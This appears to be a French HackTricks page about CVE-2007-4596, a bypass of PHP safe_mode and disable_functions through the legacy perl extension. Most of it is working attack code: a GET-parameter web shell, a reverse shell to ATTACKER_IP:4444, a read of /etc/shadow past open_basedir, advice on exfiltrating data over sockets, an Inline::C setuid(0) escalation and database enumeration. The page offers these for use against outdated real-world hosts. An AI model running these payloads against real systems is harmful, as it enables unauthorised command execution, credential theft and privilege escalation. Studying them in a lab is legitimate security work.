PHP Perl Extension Safe_mode Bypass Exploit

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Contexte

Le problème répertorié sous CVE-2007-4596 provient de l’extension PHP legacy perl, qui intègre un interpréteur Perl complet sans respecter les contrôles PHP safe_mode, disable_functions ou open_basedir. Tout processus PHP qui charge extension=perl.so obtient un eval Perl sans restrictions, donc l’exécution de commandes reste triviale même lorsque tous les mécanismes classiques de création de processus PHP sont bloqués. Bien que safe_mode ait disparu dans PHP 5.4, de nombreuses piles d’hébergement mutualisé obsolètes et laboratoires vulnérables le fournissent encore, donc ce contournement reste utile lorsque vous tombez sur des panneaux de contrôle anciens.

Préparer un environnement testable en 2025

  • La dernière build publiée (perl-1.0.1, janvier 2013) cible PHP ≥5.0. Récupérez-la depuis PECL, compilez-la pour la branche PHP exacte que vous comptez attaquer, et chargez-la globalement (php.ini) ou via dl() (si autorisé).
  • Recette rapide pour un labo basé sur Debian :
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Pendant l’exploitation, confirmez la disponibilité avec var_dump(extension_loaded('perl')); ou print_r(get_loaded_extensions());. Si absent, recherchez perl.so ou abusez des entrées php.ini/.user.ini modifiables pour forcer son chargement.
  • Comme l’interpréteur vit à l’intérieur du processus PHP, aucun binaire externe n’est nécessaire — les filtres de sortie réseau ou les listes noires proc_open n’ont pas d’importance.

PoC original (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, toujours utile pour confirmer que l’extension répond à eval :

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Améliorations modernes de Payload

1. TTY complet sur TCP

L’interpréteur embarqué peut charger IO::Socket même si /usr/bin/perl est bloqué:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. Évasion du système de fichiers même avec open_basedir

Perl ignore open_basedir de PHP, donc vous pouvez lire des fichiers arbitraires :

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Passez la sortie via IO::Socket::INET ou Net::HTTP pour exfiltrer des données sans toucher aux descripteurs gérés par PHP.

3. Compilation inline pour l’escalade de privilèges

Si Inline::C est présent au niveau système, compiler des helpers dans la requête sans s’appuyer sur les ffi ou pcntl de PHP:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Considérez Perl comme une boîte à outils LOLBAS — p. ex., dump MySQL DSNs même si mysqli est absent:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks